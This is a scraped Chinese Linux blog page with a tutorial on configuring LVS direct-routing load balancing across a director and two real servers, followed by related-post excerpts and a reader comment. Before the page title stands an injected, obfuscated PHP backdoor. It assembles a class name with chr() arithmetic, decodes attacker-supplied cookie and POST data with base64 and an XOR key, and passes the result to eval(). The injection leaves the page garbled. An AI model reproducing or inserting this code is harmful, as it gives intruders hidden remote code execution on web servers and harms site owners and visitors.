$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVS DR模型演示 | Linux运维部落

LVS DR模型演示

LVS DR模型演示

环境介绍:

Directory
    DIP eth0    10.1.249.158
    VIP eth0:0  10.1.249.111

rs1
    RIP eth0    10.1.249.125
    VIP lo:0    10.1.249.111

rs2
    RIP eth0    10.1.252.53
    VIP lo:0    10.1.249.111

LVS DR模型演示

Directory配置

LVS DR模型演示

配置VIP接口在其eth0的别名上
[root@Directory ~]# ifconfig eth0:0 10.1.249.111/16 up

添加路由
[root@Directory ~]# route add -host 10.1.249.111 dev eth0:0

 添加ipvsadm规则
[root@Directory ~]# ipvsadm -A -t 10.1.249.111:80 -s wlc
[root@Directory ~]# ipvsadm -a -t 10.1.249.111:80 -r 10.1.252.53 -g -w 2
[root@Directory ~]# ipvsadm -a -t 10.1.249.111:80 -r 10.1.249.125 -g -w 1
[root@Directory ~]# ipvsadm -L -n
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  10.1.249.111:80 wlc
  -> 10.1.249.125:80              Route   1      0          0         
  -> 10.1.252.53:80               Route   2      0          0

RS1

LVS DR模型演示

修改内核参数
[root@rs1 ~]# echo 2 >  /proc/sys/net/ipv4/conf/eth0/arp_announce 
[root@rs1 ~]# echo 2 > /proc/sys/net/ipv4/conf/all/arp_announce
[root@rs1 ~]# echo 1 > /proc/sys/net/ipv4/conf/all/arp_ignore 
[root@rs1 ~]# echo 1 > /proc/sys/net/ipv4/conf/eth0/arp_ignore


配置网卡别名 --> 主要要使用特殊的广播地址和子网掩码
[root@rs1 ~]# ifconfig lo:0 10.1.249.111 broadcast 10.1.249.111 netmask 255.255.255.255 up

添加路由条目
[root@rs1 ~]# route add -host 10.1.249.111 dev lo:0

RS2和RS1的配置完全一样即可

测试

RS1和RS2分别提供web服务  
RS1默认页面内容为web1
RS2默认页面内容为web2

浏览器中输入http://10.1.249.111

[root@Directory ~]# ipvsadm -L -n
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  10.1.249.111:80 wlc
  -> 10.1.249.125:80              Route   1      0          16        
  -> 10.1.252.53:80               Route   2      0          32       

//由于我们指定RS2的权重是RS1的两倍(RS2为2 RS1为1)
//所以产生的数据大约也是两倍关系
//且页面访问出现的频率大约也是两倍的关系


但:此时,如果我们关掉RS1的web服务,如果某次请求,被调度到RS1,此时,会提示,无法访问
//默认LVS不会检测后端服务器的健康状况

注:此时我们知道这3台主机上都有VIP的地址,此时,我们 ping 10.1.249.111 响应我们的会是哪个?

LVS DR模型演示

原创文章,作者:sixijie,如若转载,请注明出处:http://www.178linux.com/55828

(0)
上一篇 2016-10-30 01:43
下一篇 2016-10-30 09:54

相关推荐

  • 马哥教育网络班20期+第六周博客作业

    1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; ~]# cp -R /etc/rc.d/rc.sysinit /tmp/ ~]# vim /tmp/rc.sysinit   &nb…

    Linux干货 2016-07-22
  • 老王的心路历程(二):下一站Web体验监控产品

    在上一篇文章中,和大家聊到了建立Web应用体验监控体系,经过了概念阶段,也完成了技术选型,就进入了把实质性的产品研发阶段。作为产品经理,时刻不敢忘记我们的产品目标:无限感知你的用户,建立完备的体验监控体系,驱动产品的设计、开发和运维! 一、一切皆操作 仔细分析终端用户和Web应用及网站的交互过程,无论是打开页面、点击链接或按钮,还是填写表单、提交查询,一切皆…

    2016-08-15
  • linux中文本处理工具

      对于linux来讲,文本处理是非常重要的,因为linux系统就是由无数的文件组成的,linux中一切皆文件。文件的处理方式有很多种,所以就有众多的文本处理工具,各自作用于不同的文本处理方式。 一、查看文件命令:    cat命令:处理显示文件内容,不改变原文件    cat命令常用于查看文件内容,也可通过…

    Linux干货 2016-08-08
  • DNS从入门到管理(一)

    DNS从入门到管理(一) DNS概念 DNS三步法 反向解析 主从DNS服务器的实现 子域授权 智能DNS 压力测试与DNS排错 DNS概述 DNS(Domain NameSystem,域名系统),域名和IP地址相互映射的一个分布式数据库,通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析。而DNS的主要作用,就是域名解析,将主机名解析成IP地址。…

    Linux干货 2016-10-06
  • corosync+pacemaker对mariadb实现高可用

    corosync+pacemaker对mariadb实现高可用 利用nfs共享存储,导出一个目录作为mariadb的数据目录,然后利用corosync+pacemaker对mariadb进行高可用 1、实验环境 2、实验前的分析 利用nfs导出目录作为mariadb的共享目录,要确保各个mariadb节点对该目录具有写权限,也就是要确保nfs服务器上有一个U…

    Linux干货 2016-11-24
  • Linux的哲学理念

    1、由目的单一的小程序组成,通过使用者的组合形成一个能够完成复杂任务的应用程序 2、一切皆为文件 3、尽量避免捕获用户接口;也就是说Linux运行的程序大多数是不需要过多的反复输入/输出人机交互信息,运行程序命令,直接获得反馈的结果,是一种目的单一的程序 4、配置文件保存为纯文本格式

    Linux干货 2016-10-29

评论列表(1条)

  • 马哥教育
    马哥教育 2016-10-30 20:40

    实验不太完整啊,可是部署web服务,测试一下,最终结果试试。